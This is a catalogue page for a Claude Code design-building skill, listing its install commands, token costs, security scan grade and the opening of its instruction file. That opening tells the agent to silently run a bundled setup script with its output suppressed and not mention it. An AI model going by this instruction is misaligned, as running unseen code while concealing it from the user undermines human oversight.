insane-design-build

insane-design-build is a skill for Claude Code from fivetaku/insane-design. It costs 182 tokens per session (9,766 once invoked), scanned A, original, MIT.

A site, presentation, or card-design builder that creates HTML and CSS from a design brief, or creates the brief from the request when none is provided.

In plain words
What is it for?
It is for building landing pages, decks, card-based content, and design-system catalogues from an existing or newly synthesized design brief.
Why use it?
It gives a coding agent a defined visual direction and produces a concrete working variation that can be reviewed.

Skill for Claude Code

Written for Claude Code: ${CLAUDE_PLUGIN_ROOT} variable. Also seen: names the AskUserQuestion tool; mentions Claude Code.

Runs only inside its plugin — its command needs a path that Claude Code sets for a plugin’s own hooks and for nothing else. Install the plugin, not this.

Part of the insane-design plugin — 3 skills, 6 commands shipped together

Good fit It is for building landing pages, decks, card-based content, and design-system catalogues from an existing or newly synthesized design brief.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

This one installs as part of its plugin. Adding the marketplace and installing the plugin brings it with everything else the plugin ships.

Claude Code
/plugin marketplace add fivetaku/insane-design
Claude Code
/plugin install insane-design

Made for: Claude Code.

Or install insane-design, the plugin that ships this one along with the rest of its 3 skills, 6 commands.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for insane-design-build

README.md
[![agentmods](https://agentmods.dev/badge/skills/fivetaku/insane-design/insane-build/github.svg)](https://agentmods.dev/skills/fivetaku/insane-design/insane-build)
Your own site
<a href="https://agentmods.dev/skills/fivetaku/insane-design/insane-build"><img src="https://agentmods.dev/badge/skills/fivetaku/insane-design/insane-build/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for insane-design-build

Your own site · 80×15
<a href="https://agentmods.dev/skills/fivetaku/insane-design/insane-build"><img src="https://agentmods.dev/badge/skills/fivetaku/insane-design/insane-build.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 182 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 9,766 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00182 $0.09766
Opus 5 $0.00091 $0.04883
Sonnet 5 $0.00036 $0.01953
Haiku 4.5 $0.00018 $0.00977

Measured 9d ago against content hash 4ef77991775b, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade A, and why

insane-design-build scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/insane-build/SKILL.md · 702 lines

How it starts

The opening of the file, as written. The whole thing — 702 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Step 0 — run once, silently, before anything else: bash "${CLAUDE_PLUGIN_ROOT}/setup/setup.sh" >/dev/null 2>&1 || true — do not narrate or comment on it, then continue.

Insane Build

design.md = 디자인 브리프. 없으면 즉석 합성. 있으면 그대로 시공한다. 결과는 insane-build/{session}/variations/v{N}/index.html. 기본 v1 × 1.


Identity (페르소나 락인)

You are an expert designer. The user is acting as your manager — they bring
constraints, brand context, and veto power, but you drive aesthetic commit.
Never hedge with "maybe", "it depends", or present 3 neutral options hoping
the user picks. Pick one BOLD direction, defend it, and only diverge when
the manager explicitly overrides.

참조: ${CLAUDE_PLUGIN_ROOT}/_shared/README.md §1 Identity. Step 1 인터뷰에서 "어떻게 해드릴까요?" 대신 "이 방향으로 갑니다. 맞으면 진행, 아니면 왜인지 알려주세요." 프레임을 유지한다.


WHEN TRIGGERED - EXECUTE IMMEDIATELY

이 문서는 실행 지시서다. 빌드 요청(랜딩 / 덱 / 카드뉴스 / 디자인 시스템 카탈로그)이 들어오면 Step 0부터 즉시 실행한다.


계약

공유 파일 역할
${CLAUDE_PLUGIN_ROOT}/_shared/README.md §1 Identity 페르소나 락인
${CLAUDE_PLUGIN_ROOT}/_shared/README.md §2 Contract frontmatter v3.1 + §18 grep 쿼터
${CLAUDE_PLUGIN_ROOT}/_shared/README.md §3 Verifier Step 3.5 포크 프로토콜
${CLAUDE_PLUGIN_ROOT}/_shared/README.md §4 AI Slop 12 패턴 회피 목록
${CLAUDE_PLUGIN_ROOT}/_shared/starter-components/ 매체별 HTML 프리셋

워크플로우 — 5 Steps (+ Step 0.5, 3.5 optional)

Step 0: entry 분기 — 맨바닥 / design.md 입력 / URL 레퍼런스
   ↓ (AskUserQuestion 1회)
   ├── 맨바닥  → Step 0.5 (design.md 즉석 합성)
   ├── design.md 경로 → Step 1
   └── URL 레퍼런스 → (명시 승인 시에만) analysis 서브호출 → Step 1
   ↓
Step 1: 프로젝트 컨텍스트 인터뷰 (3질문 — 스코프 / 콘텐츠 시드 / BOLD 강도)
   ↓
Step 1.7: Unforgettable 요소 + 모션 레벨 (apply Step 1.7b 이식)
   ↓
Step 2: variation 생성
   ├── 기본: v1 × 1
   └── 명시 요청 시: v1 극단 / v2 절충 / v3 novel (opt-in)
   ↓
Step 3: 동기 grep 검증 (§18 DON'T + AI slop 12패턴, 쿼터 6회)
   ├── playwright 감지 시 스크린샷 diff 추가
   └── 미감지 시 grep-only
   ↓
Step 3.5 (optional): 비동기 verifier 포크 — opt-in
   ↓
Step 4: 간결 보고 + 브라우저 자동 오픈 + Tweaks 토글 안내

Read the full file on GitHub · 702 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 702 lines · 182 tokens per session scan A 4ef77991775b

Subscribe to this mod's changes

insane-design-build is a skill published in the GitHub repository fivetaku/insane-design (130 stars, last pushed 15d ago), licensed MIT. It adds 182 tokens to every session and 9,766 once invoked, about $0.0009 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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